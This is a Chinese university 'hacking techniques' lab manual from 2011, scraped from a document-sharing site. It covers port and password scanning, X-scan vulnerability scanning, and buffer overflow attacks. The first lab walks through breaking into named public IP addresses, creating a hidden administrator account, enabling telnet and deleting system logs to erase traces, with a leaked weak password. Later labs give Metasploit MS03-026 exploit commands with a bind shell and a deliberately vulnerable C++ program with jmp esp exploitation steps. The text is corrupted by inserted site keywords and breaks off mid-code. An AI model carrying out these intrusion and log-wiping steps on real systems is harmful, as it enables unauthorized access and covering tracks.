首页 黑客技术实验指导书

黑客技术实验指导书

举报
开通vip

黑客技术实验指导书黑客技术 黑客技术 实验指导书 彭晓红 2011年5月 目 录 TOC \o "1-3" \u [实验一]扫描工具的使用 3 一、实验目的 3 二、实验要求 3 三、实验内容和步骤 3 [实验二]漏洞分析与查找 26 一、实验目的 26 二、实验要求 26 三、实验内容和步骤 26 [实验三] 缓存溢出攻击 28 一、实验目的 28 二、实验要求 28 三、实验内容和步骤 28 [实验四] SQL injection攻击 41 一、实验目的 41 二、实验要求 41 三、实验内容和步骤 41 [实验一]扫描工具的使...

黑客技术实验指导书
黑客技术 黑客技术 实验指导书 彭晓红 2011年5月 目 录 TOC \o "1-3" \u [实验一]扫描工具的使用 3 一、实验目的 3 二、实验要求 3 三、实验内容和步骤 3 [实验二]漏洞分析与查找 26 一、实验目的 26 二、实验要求 26 三、实验内容和步骤 26 [实验三] 缓存溢出攻击 28 一、实验目的 28 二、实验要求 28 三、实验内容和步骤 28 [实验四] SQL injection攻击 41 一、实验目的 41 二、实验要求 41 三、实验内容和步骤 41 [实验一]扫描工具的使用 一、实验目的 (1)通过使用流光IV软件获取目标主机的帐号和密码,并登陆。 (2)通过实验了解和掌握扫描工具的使用。 二、实验要求 1了解和掌握扫描工具的使用。 2在命令提示符下使用net相关命令。 三、实验内容和步骤 任务一 扫描工具的使用 1点击探测-高级扫描工具! 2输入ip地址范围 起始地址/结束地址:需要扫描的IP地址范围。 目标系统:ALL-所有系统/NT-NT/2000系统/UNIX-UNIX系统,根据选择的不同下面的[检测项目]将会有不同设置。 获取主机名:获取主机的名称。 检测项目:选择需要扫描的项目,根据选择的不同 关于同志近三年现实表现材料材料类招标技术评分表图表与交易pdf视力表打印pdf用图表说话 pdf 单会有所不同。 3自己定义你的用户字典和密码字典。 猜解用户名字典:设置扫描中采用的用户字典,适用于POP3/FTP/IMAP/SQL/MYSQL。 猜解密码字典:设置扫描中采用的密码字典,适用于POP3/FTP/IMAP/SQL/MYSQL。 保存扫描 报告 软件系统测试报告下载sgs报告如何下载关于路面塌陷情况报告535n,sgs报告怎么下载竣工报告下载 :扫描的报告,采用HTML格式。 并发线程数目:默认80,可以根据情况增减,如果线程数目越大速度越快但是越容易误报和漏报。 网络选项:设置TCP参数 4 实验结果 任务二 成功登陆到目标主机 1在命令提示符下使用net use命令远程连接主机210.192.111.207。如下所示: 2输入以下命令探测目标主机信息 ver 对方主机显示: C:\WINNT\system32>ver Microsoft Windows 2000 [Version 5.00.2195] C:\WINNT\system32> C:\WINNT\system32>net start 已经启动以下 Windows 2000 服务: Alerter Application Management COM+ Event System Computer Browser DHCP Client Distributed File System Distributed Link Tracking Client Distributed Link Tracking Server Distributed Transaction Coordinator DNS Client Event Log File Replication Service FTP Publishing Service IIS Admin Service Indexing Service Intersite Messaging IPSEC Policy Agent Kerberos Key Distribution Center Logical Disk Manager Messenger Microsoft Search Microsoft SMTP Service MSSQLServer Net Logon Network Connections NT LM Security Support Provider Plug and Play Print Spooler Protected Storage Remote Procedure Call (RPC) Remote Procedure Call (RPC) Locator Remote Registry Service Removable Storage RunAs Service Security Accounts Manager Server SQLServerAgent System Event Notification Task Scheduler TCP/IP NetBIOS Helper Service Windows Management Instrumentation Driver Extensions Windows Time Workstation World Wide Web Publishing Service 许可 协议 离婚协议模板下载合伙人协议 下载渠道分销协议免费下载敬业协议下载授课协议下载 登录服务 命令成功完成。 C:\WINNT\system32> C:\WINNT\system32>net start telnet Telnet 服务正在启动 . Telnet 服务已经启动成功。 3在目标主机上新增用户 C:\WINNT\system32>net user kk kk /add 命令成功完成。 C:\WINNT\system32> C:\WINNT\system32>net localgroup administrators kk /add 命令成功完成。 输入:telnet 210.192.111.207 显示: NTLM Authentication failed due to insufficient credentials. Please login with clear text username and password Server allows NTLM authentication only Server has closed connection 遗失对主机的连接。 4在小榕的流光IV目录下的tools目录下有一个ntlm.exe的文件 5把telnet服务停止,然后重新启动.再试一试! 6tlntadmntelnet服务器管理器。如果对方主机上有人运行了这个程序, 你的ip地址和你所使用的用户名就被他看到了!选择3可以更改telnet断口,默认的是23。 telnet 210.192.111.207窗口显示: 0) 退出这个应用程序 1) 列出当前用户 2) 结束一个用户的会话 ... 3) 显示 / 更改注册表设置 ... 4) 开始服务 5) 停止服务 请键入一个选项的号码 [0 - 5] 以选择该选项: 3 请在下列选项中选择一个: 0) 退出这个菜单 1) AllowTrustedDomain 2) AltKeyMapping 3) DefaultDomain 4) DefaultShell 5] 以选择该选项: 5) LoginScript 6) MaxFailedLogins 7) NTLM 8) TelnetPort 请键入一个选项的号码 [0 - 8] 以选择该选项: 7 0) 退出这个菜单Domain 1) AllowTrustedDomain 5) LoginScript 6) MaxFailedLogins 7) NTLM 8) TelnetPort 请键入一个选项的号码 [0 - 8] 以选择该选项: 8 TelnetPort 的当前值 = 23 您确实想更改这个值吗 ? [y/n]y TelnetPort [ 当前值 = 23; ] :99 您确实想将 TelnetPort 设置为 : 99 ? [y/n]y 只有当 Telnet 服务重新开始后设置才会生效 请在下列选项中选择一个: 0) 退出这个菜单 1) AllowTrustedDomain 2) AltKeyMapping 3) DefaultDomain 5] 以选择该选项: 4) DefaultShell 5) LoginScript 6) MaxFailedLogins 7) NTLM 8) TelnetPort 请键入一个选项的号码 [0 - 8] 以选择该选项: 7 NTLM 的当前值 = 1 您确实想更改这个值吗 ? [y/n] ntlm的默认值是2刚才copy的ntlm并在他的主机运行已经改过了。 7Windows2000的日志文件通常有应用程序日志,安全日志、系统日志、DNS服务器日志、FTP日志、WWW日志等等,可能会根据服务器所开启的服务不同。应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%\system32\config,默认文件大小512KB,管理员都会改变这个默认大小。  安全日志文件:%systemroot%\system32\config\SecEvent.EVT  系统日志文件:%systemroot%\system32\config\SysEvent.EVT  应用程序日志文件:%systemroot%\system32\config\AppEvent.EVT  Internet信息服务FTP日志默认位置:%systemroot%\system32\logfiles\msftpsvc1\,默认每天一  个日志  Internet信息服务WWW日志默认位置:%systemroot%\system32\logfiles\w3svc1\,默认每天一个日  志  Scheduler服务日志默认位置:%systemroot%\schedlgu.txt  以上日志在注册表里的键:  应用程序日志,安全日志,系统日志,DNS服务器日志,它这些LOG文件在注册表中的:  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog  有的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日志的定位目  录。  Schedluler服务日志在注册表中  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent  FTP和WWW日志详解:  FTP日志和WWW日志默认情况,每天生成一个日志文件,包含了该日的一切记录,文件名通常为ex(年  份)(月份)(日期),例如ex001023,就是2000年10月23日产生的日志,用记事本就可直接打开。 有经验的管理员就可通过安全日志、FTP日志和WWW日志来确定入侵者的IP地址以及入侵时间。  既使你删掉FTP和WWW日志,但是还是会在系统日志和安全日志里记录下来,但是较好的是只显示了你的  机器名,并没有你的IP, 下面就来看看如何删除日志? 打开你自己电脑的事件查看器 删除SchedLgU.Txt C:\WINNT> C:\WINNT>net stop "task scheduler" Task Scheduler 服务正在停止. Task Scheduler 服务已成功停止。 C:\WINNT> C:\WINNT>del schedlgu.txt C:\WINNT> C:\WINNT> 成功删除(冰影做了一个备份,冰影不习惯删除,要替换他,在copy上去一个避免聪明的管理员使用recover回复以删除的文件 database for the task indicated. "Task Scheduler Service" Exited at 5/16/01 3:05:30 PM "Task Scheduler Service" Started at 5/16/01 3:09:42 PM "Task Scheduler Service" Exited at 5/18/01 11:23:22 PM "Task Scheduler Service" Started at 5/18/01 11:27:20 PM "Task Scheduler Service" Exited at 5/19/01 6:14:42 PM "Task Scheduler Service" Started at 5/19/01 6:18:42 PM "Task Scheduler Service" Started at 6/4/01 10:51:12 AM "At1.job" (srv.exe) Started 6/10/01 1:49:00 PM "At1.job" (srv.exe) Finished 6/10/01 1:50:00 PM Result: The task completed with an exit code of (0). "At1.job" (winshell.exe) Started 6/14/01 7:08:00 PM "Task Scheduler Service" Started at 6/15/01 2:51:00 PM "At1.job" (srv.exe) Started 6/17/01 2:47:00 PM "At1.job" (srv.exe) Finished 6/17/01 3:19:10 PM Result: The task completed with an exit code of (0). "At1.job" (srv.exe) Started 6/17/01 3:47:00 PM "At1.job" (srv.exe) Finished 6/17/01 3:50:19 PM Result: The task completed with an exit code of (0). "At1.job" (srv.exe) Started 6/17/01 3:56:00 PM "At1.job" (srv.exe) Finished 6/17/01 3:56:54 PM Result: The task completed with an exit code of (0). "At1.job" (srv.exe) Started 6/17/01 4:09:00 PM "At1.job" (srv.exe) Finished 6/17/01 4:13:19 PM Result: The task completed with an exit code of (0). "At1.job" (FsSniffer.exe) Started 6/25/01 4:14:00 PM "At1.job" (FsSniffer.exe) Finished 6/25/01 4:14:15 PM Result: The task completed with an exit code of (0). "At2.job" (SRV.EXE) Started 6/25/01 4:15:00 PM "At3.job" (RunAsEx.exe) Started 6/25/01 4:15:00 PM "At3.job" (RunAsEx.exe) Finished 6/25/01 4:15:02 PM Result: The task completed with an exit code of (0). "At4.job" (Slave.exe) Started 6/25/01 4:50:00 PM "At4.job" (Slave.exe) Finished 6/25/01 4:50:24 PM Result: The task completed with an exit code of (0). "At2.job" (SRV.EXE) Finished 6/25/01 4:56:45 PM Result: The task completed with an exit code of (ffffffff). "Task Scheduler Service" Started at 6/27/01 7:09:20 PM "Task Scheduler Service" Started at 6/29/01 4:37:31 PM "Task Scheduler Service" Exited at 7/3/01 10:43:22 PM "Task Scheduler Service" Started at 7/3/01 10:47:34 PM "Task Scheduler Service" Exited at 7/7/01 12:19:10 AM "Task Scheduler Service" Started at 7/7/01 12:23:23 AM "Task Scheduler Service" Exited at 7/7/01 12:28:32 AM "Task Scheduler Service" Started at 7/7/01 12:32:45 AM "Task Scheduler Service" Exited at 7/7/01 5:52:01 PM "Task Scheduler Service" Started at 7/7/01 5:56:00 PM "Task Scheduler Service" Exited at 7/7/01 8:24:58 PM "Task Scheduler Service" Started at 7/7/01 8:29:14 PM "Task Scheduler Service" Exited at 7/7/01 9:09:29 PM "Task Scheduler Service" Started at 7/7/01 9:13:44 PM "Task Scheduler Service" Exited at 7/7/01 9:22:37 PM "Task Scheduler Service" Started at 7/7/01 9:26:53 PM "Task Scheduler Service" Exited at 7/7/01 9:44:09 PM "Task Scheduler Service" Started at 7/7/01 9:48:12 PM "Task Scheduler Service" Exited at 7/7/01 10:43:08 PM "Task Scheduler Service" Started at 7/7/01 10:47:10 PM "Task Scheduler Service" Exited at 7/11/01 4:43:06 PM "Task Scheduler Service" Started at 7/11/01 4:47:26 PM "Task Scheduler Service" Exited at 7/16/01 2:29:22 PM "Task Scheduler Service" Started at 7/16/01 2:33:28 PM "At1.job" (srv.exe) Started 7/18/01 5:55:00 PM "At2.job" (sys.exe) C:\WINNT> C:\WINNT>net start "task scheduler" Task Scheduler 服务正在启动 . Task Scheduler 服务已经启动成功。 C:\WINNT> C:\WINNT> 下一个是FTP日志和WWW日志,原理都是一样,先停掉相关服务 停止www服务!然后在试一试! C:\WINNT> C:\WINNT>net stop "World Wide Web Publishing Service" World Wide Web Publishing Service 服务正在停止.......... World Wide Web Publishing Service 服务已成功停止。 C:\WINNT> C:\WINNT>net stop "FTP Publishing Service" FTP Publishing Service 服务正在停止. FTP Publishing Service 服务已成功停止。 C:\WINNT> C:\WINNT>net stop "IIS Admin Service" 下面的服务依赖于 IIS Admin Service 服务。 停止 IIS Admin Service 服务也会停止这些服务。 Microsoft SMTP Service 是否继续此操作? (Y/N) [N]: 没有提供有效的响应。 C:\WINNT> C:\WINNT>net stop "Microsoft SMTP Service" Microsoft SMTP Service 服务正在停止. Microsoft SMTP Service 服务已成功停止。 C:\WINNT> C:\WINNT>net stop "IIS Admin Service" ... IIS Admin Service 服务已成功停止。 C:\WINNT> C:\WINNT> 冰影停止了四个服务在把它删掉,真是徒劳!里面根本就没有ip! 还有需要补充:可以启动他的“Remote Registry Service”允许远程注册表操作 这里服务已经启动如果没有启动可以通过net start "Remote Registry Service"来启动 显示: 这台210.200.14.170的主机还是没有改掉administrator 的密码,123 用210.192.111.207这台主机条到210.200.14.170主机上去 成功!210.192.111.207 的名字是DELLNT 210.200.14.170的名字是win2000srv [实验二]漏洞分析与查找 一、实验目的 (1)通过使用X-scan漏洞扫描软件发现系统漏洞。 (2)通过实验了解和掌握服务器的安全问题。 二、实验要求 两台安装Windows NT/2000/XP/2003的PC机,在其中一台上安装X-scan漏洞扫描软件。将两台PC机通过hub相连,组成一个局域网。 三、实验内容和步骤 任务一 熟悉X-scan漏洞扫描软件的使用 该软件为绿色软件,无需安装。打开XScan,可以看到非常简洁的GUI界面。菜单栏如图所示: 图1 点击第一个按钮,在弹出的“扫描参数”中,有如下几个参数可选。 检测范围:该模块指定您要扫描的对象,本地服务器还是网络中的计算机。默认是localhost,这意味着你扫描的是本地计算机。范围也可以是个IP段,方式如下: 223.321.21.0-223.321.21.100 这就说明您扫描的范围是在这两个IP范围内所有的计算机。 全局设置 该功能模块包括以下4种功能子模块:扫描模块、并发扫描、扫描报告以及其他设置。 扫描模块 该列表种包含了您所要扫描的项目。开放服务、NT-SERVER弱口令、NETBIOS信息、SNMP信息等等的20个选项。 并发扫描 该模块限制了并发扫描的主机数量以及并发线程数量。 扫描报告 该功能模块是在您完成您的扫描后,XScan将以什么样的形式反馈扫描报告。有4种文件参数:HTML,XML,TXT。默认的为localhost_report.HTML 其他设置 该功能可以帮助您处理一些扫描过程种的问题,包括 跳过没有响应主机,无条件扫描等等。 插件设置 该项目包括了端口相关设置,SNMP相关设置,NETBIOS相关设置,漏洞检测脚本设置,CGI相关设置,字典文件设置这6项设置。 端口相关设置 该模块将根据您的要求设置扫描的端口以及扫描方式。默认的端口扫描参数为:7,9,13,19,21,22,23,25,53,79,80,110,111,119,135,139,143,443,445,465,512-514,554,563,585,636,808,990-995,1025,1027,1080,1352,1433,1521,1525,1935,2049,2401,3306,3128,3389,4899,5000,5800,5900,5901,6000-6009,8000,8080,8181,65301 扫描方式有两种,一种是里同TCP检测,一种是利用SYN检测。 SNMP相关设置 对于大多数管理员来讲,SNMP的安全性已经不是一个新鲜的话题了。但是,有的服务器上SNMP问题依然存在,所以该检测模块将检测SNMP信息。 NETBIOS相关设置 该模块将扫描NETBIOS的相关设置,以方便您了解NETBIOS上存在的问题。该模块的选项主要有:注册表敏感键值,服务器时间,域控制器信息,传输列表,会话列表等。 漏洞检测脚本 该模块简化日常工作以及便于XSCAN的使用。 CGI设置 对于信息服务器来说,CGI检测是尤为总要的。 字典设置 XSCAN自带的字典有很多,用来破解系统的弱口令。一个好的字典将决定了服务器的安全性。 任务二 漏洞发现 按照以上设置完毕后,点击如图一中的开始按钮,XSCAN就可以开始扫描。在扫描过程中将看到具体的扫描过程。 扫描完毕后,使用选择的扫描报告形式予以报告。 [实验三] 缓存溢出攻击 一、实验目的 1掌握缓存溢出原理 2实现缓存溢出攻击 二、实验要求 Microsoft Visual C++ 6.0 Microsoft Windows 2000 Server 三、实验内容和步骤 任务一 借助工具Metasploit实现缓存溢出攻击 由于Metasploit是国外的开源组织来维护,所以其中的exploit程序主要是针对国外语言的操作系统。对于中文操作系统的exploit程序,有些还需要进一步的修改。 Metasploit会不定期更新可利用的漏洞程序,可以通过Online Update来进行升级。 1.安装完Metasploit程序,运行Metasploit 3,启动Web窗口界面。界面中会出现Exploits、Auxiliaries、Payloads、Console、Sessions、About等图标栏。 2.点击Exploits图标,系统列出所有的Exploits。 3.针对目的主机的信息查找相关漏洞利用程序,比如查找Windows 2000系统的相关漏洞利用程序。 4.利用对主机扫描发现的漏洞信息,找到相关的漏洞利用程序,比如“Microsoft RPC DCOM Interface Overflow”的漏洞利用程序。选择目的操作系统的种类。 5.选择特定的ShellCode程序,系统攻击成功后,会执行相关的ShellCode的指令内容。比如选择绑定cmd Shell的操作。 6.输入目的主机的IP地址,比如10.0.0.31,然后执行“Launch Exploit”按钮。 7.渗透攻击成功后,系统返回cmd shell信息,获取主机系统权限,可以做任何的操作了。 除了使用web窗口模式来工作外,还可以使用MSF的命令模式,以Console平台来工作。 ◆​ 点击主窗口中的Console图标。 ◆​ 输入Help命令,可以看到很多的操作命令,如下图所示。对于常用的命令也就是show、info、use、set等几个命令。 “show”:显示规定类型的一种模块或所有模块,比如exploit/payload等 “info”: 显示一种或更多模块的信息 “use”: 选择模块的名字 “set”: 设置变量 ◆通过输入“show exploits”指令查看有哪些可用的Exploit程序。 ◆输入“show payload”指令,查看有哪些可以加载的ShellCode信息。 ◆输入“info exploit/windows/dcerpc/ms03_026_dcom”指令,了解MS03_026_dcom利用程序的相关信息内容。 ◆根据了解的MS03_026_dcom的相关信息,使用漏洞利用程序。 输入:use exploit/windows/dcerpc/ms03_026_dcom 查看利用程序需要设置的相关内容 输入:show options 设置攻击目的主机的IP地址 输入:set RHOST 10.0.0.31 设置加载的ShellCode程序 输入:set PAYLOAD generic/shell_bind_tcp 执行利用程序 输入:exploit 系统攻击成功,并获取远程主机的权限。 任务二 编写程序实现缓存溢出攻击 1写一个存在缓冲区溢出漏洞的应用程序。该程序可读取文件的内容,这样就能通过修改被读取文件的内容来使程序溢出。;-) 在Visual C++开发环境中创建一个新的控制台应用程序,选择”An Application that supports MFC”并单击”Finish”。(注:其实并不一定非是MFC应用程序不可,只不过是自己的习惯而已。;-)))向这个应用程序中添加一些必要的代码,如下: CWinApp theApp; using namespace std; void overflow(char* buff); void overflow(char* buff) { CFile file; CFileException er; if(!file.Open(_T("overflow.txt"),CFile::modeRead,&er)) { er.ReportError(); return; } int x = file.GetLength(); file.Read(buff,x); } int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0; // initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs cerr << _T("Fatal Error: MFC initialization failed") << endl; nRetCode = 1; } else { char buff[10]; overflow(buff); } return nRetCode; } 2分析 首先,关于Windows NT/2000的内存结构。NT/2000的每一个进程都在启动时分配了4GB(0xFFFFFFFF)的虚拟内存。其中的某些部份实际上是由所有进程共享的,例如核心和设备驱动程序区域。但它都会被映射到每个进程的虚拟地址空间里。实际上没有进程分配到4GB的物理内存,而是仅当需要时才分配物理内存。因此每一个进程都有各自的4GB虚拟内存,编址范围从0x00000000到0xFFFFFFFF。其中,0x00000000-0x0000FFFF是为NULL指针分配而保留的。访问该区域内存将导致“非法访问”错误。0x00010000-0x7FFEFFFF是用户进程空间。EXE文件的映像被加载到其中(起始地址0x00400000),DLL(动态链接库)也被加载到这部份空间。如果DLL或EXE的代码被装入到该范围的某些地址,就能够被执行。访问该区域中没有代码装入的地址将导致“非法访问”错误。0x7FFF0000-0x7FFFFFFF是保留区域,对此区域的任何访问都将导致“非法访问”错误。0x80000000-0xFFFFFFFF仅供操作系统使用。用于加载设备驱动程序和其它核心级代码。从用户级应用程序(ring 3)访问此区域将导致“非法访问”错误。 向overflow.txt这个文本文件中不断添加字符,直到弹出应用程序非法访问的系统对话框。在这里,填充什么字符是很重要的(原因待会就知道了)。选择小写字母”a”来填充文本文件。已经知道缓冲区只有1 0字 个人自传范文3000字为中华之崛起而读书的故事100字新时代好少年事迹1500字绑架的故事5000字个人自传范文2000字 符长,那么先填充11个字符。(注意:以debug方式编译应用程序,否则结果可能会有所不同。)咦?没反应。继续填充字符……直到填充了18个字符应用程序才崩溃。但这个崩溃对的用处还不大。继续填充!当字符串长度为24时,运行程序并观察弹出的对话框信息:“”0x61616161”指令引用的”0x61616161”内存。该内存不能为”written”。”想大家都应该知道”0x61”所代表的ASCII码是什么吧?;)如果你的机器安装了Visual C++,单击“取消”按钮就能够调试该应用程序。进入调试环境后,选择”view”菜单――”debug windows”――”registers”,可打开寄存器窗口。如果你对汇编一窍不通,建议先去找本汇编的书看看。在寄存器窗口里会看到EAX、EBS和EIP等寄存器的内容。EIP当然是最重要的了。EIP的内容就是程序下一步所要执行指令的地址。注意到ESP寄存器的值未被破坏,而且似乎离的buff变量不远。下一步需要找出ESP的值是从如何处理得到的。 在main函数的最后一行代码处设置断点,因为只关心这里所发生的事情。现在启动调试器,并让程序无故障运行到该断点。然后切换到反汇编窗口(按Alt+8,或单击”View”――”debug windows”――”disassembly”)。另外还要打开内存窗口和寄存器窗口。 0040155B 5F pop edi 0040155C 5E pop esi 0040155D 5B pop ebx 0040155E 83 C4 50 add esp,50h 00401561 3B EC cmp ebp,esp 00401563 E8 7E 00 00 00 call _chkesp (004015e6) 00401568 8B E5 mov esp,ebp 0040156A 5D pop ebp 0040156B C3 ret 以上这些东西是什么?汇编代码。如果你对汇编一点都不懂,在这里做一些简单的说明。第一行是”pop edi”。指令pop用于将仅次于堆栈顶端的数据移到其后的指定寄存器中。需要注意的是ESP寄存器。ESP是32位堆栈指针。一个pop指令移动堆栈顶端的一个数据单元,在这里是DWORD(双字,4字节),到指定寄存器中,并将堆栈指针加4(因为共移动了4字节)。在执行下一步前,让看一下ESP寄存器。在内存窗口中输入ESP,就能得到ESP当前指向的地址和内容。看一下ESP指向的内存地址中4个字节的内容和EDI寄存器的内容。现在单步执行”pop.edi”,能够看到EDI寄存器中填入了ESP所指向的内存地址的数值,同时ESP的数值也增加了4。后面的两条指令是一样的,只不过寄存器不同罢了。单步执行它。跟着的三行指令对本文没什么意义,所以在这里不作解释。单步执行到指令”mov esp, ebp”,该指令会将EBP的值赋给ESP寄存器。然后是指令”pop ebp”,这条指令很重要。先让在内存窗口输入ESP,可以看到该内存地址有一串”0x61”(’a’的16进制值)。因此0x61616161将被弹出到EBP寄存器中。单步执行该指令可以检验说的没错吧?;)好了,虽然说的没错,但好象还没能得到什么有用的东西?现在到了最后一条指令”ret”。指令”ret”在汇编中是返回指令。它是如何知道应该返回到哪里的呢?由当前位于堆栈顶端的数值决定。这条指令如果用pop指令表示的话可以表示为”pop eip”(虽然实际上你无法执行这条pop指令;))。它从ESP所指向内存地址处弹出4字节内容,并赋给EIP寄存器(EIP寄存器是32位指令指针)。这就意味着,不管EIP指向哪个内存地址,该地址处的指令将总会成为下一条指令。再次在内存窗口中输入ESP,看一下将要赋给EIP寄存器的地址的指令是什么。其实想此时大家都应该知道是4个字节长的0x61串。现在让单步执行该指令,看到EIP的值为0x61616161,也就是说下一指令地址为0x61616161,但指令却显示为???(意为无效指令)。因此再单步执行指令将导致“访问非法”错误。现在再看看ESP寄存器。它正确地指向了堆栈中的下一个数值。也就是说,下一步工作是确定在使缓冲区成功溢出(EIP=0x61616161)时,ESP所指向的地址是否能够存放的溢出代码!在overflow.txt文件中再次增加4个’a’(共28个’a’),并再次调试程序,在执行到”ret”指令时观察内存窗口和寄存器窗口,会发现执行”ret”指令后ESP所指向内存地址的内容为4字节长的0x61串。Great!这意味着什么?! 现在再回过头来分析一下。刚才使用字符’a’(0x61)作为文本文件的填充内容,以确定存在缓冲区溢出。由于EIP=0x61616161,当的程序访问试图访问该地址处的指令时,会因为是无效指令而导致系统出错。但如果所指向的地址存在可执行代码时又如何呢?例如装入内存的DLL代码等。哈哈,这样的话就会执行这些指令,从而可能做一些别人想像不到的事!;) 好了,到目前为止,已经能控制EIP的数值,也知道ESP指向的堆栈位置,和能够向堆栈写入任意数据。那么下一步做什么呢?当然是找到使系统执行溢出代码的 方法 快递客服问题件处理详细方法山木方法pdf计算方法pdf华与华方法下载八字理论方法下载 了。如果你看过ipxodi所著的文章《Windows系统下的堆栈溢出》,就会知道采用跳转指令(jmp esp)是最好不过的了。原因在这里就不再多讲,请大家仔细阅读《Windows系统下的堆栈溢出》就清楚了。正如前面分析过的,这是因为执行完ret指令后ESP正好能够指向的溢出代码!(……哦,找不到,没分析过?在本文中查找单词”Great”吧,呵呵。)现在就要在应用程序的内存空间中找到含有”jmp esp”指令的地址。首先当然是确定这条指令的机器码了。怎么确定?这也要教?好吧,教就教吧。仅此一次,下不违例。;)其实方法很简单,按以下步骤就可以了。先在Visual C++中创建新的应用程序。(当然还是控制台程序,还是支持MFC,这是的习惯。呵呵。)输入以下代码: CWinApp theApp; using namespace std; int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0; // initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs cerr << _T("Fatal Error: MFC initialization failed") << endl; nRetCode = 1; } else { return 0; __asm jmp esp } return nRetCode; } 下一步是如何在的进程空间里找到这串机器码。也是非常简单的,只要修改一下代码即可: CWinApp theApp; using namespace std; int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0; // initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs cerr << _T("Fatal Error: MFC initialization failed") << endl; nRetCode = 1; } else { return 0; __asm jmp esp bool we_loaded_it = false; HINSTANCE h; TCHAR dllname[] = _T("User32"); h = GetModuleHandle(dllname); if(h == NULL) { h = LoadLibrary(dllname); if(h == NULL) { cout<<"ERROR LOADING DLL: "<
本文档为【黑客技术实验指导书】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
该文档来自用户分享,如有侵权行为请发邮件ishare@vip.sina.com联系网站客服,我们会及时删除。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
下载需要: 免费 已有0 人下载
最新资料
资料动态
专题动态
is_922100
暂无简介~
格式:doc
大小:960KB
软件:Word
页数:65
分类:互联网
上传时间:2011-06-30
浏览量:22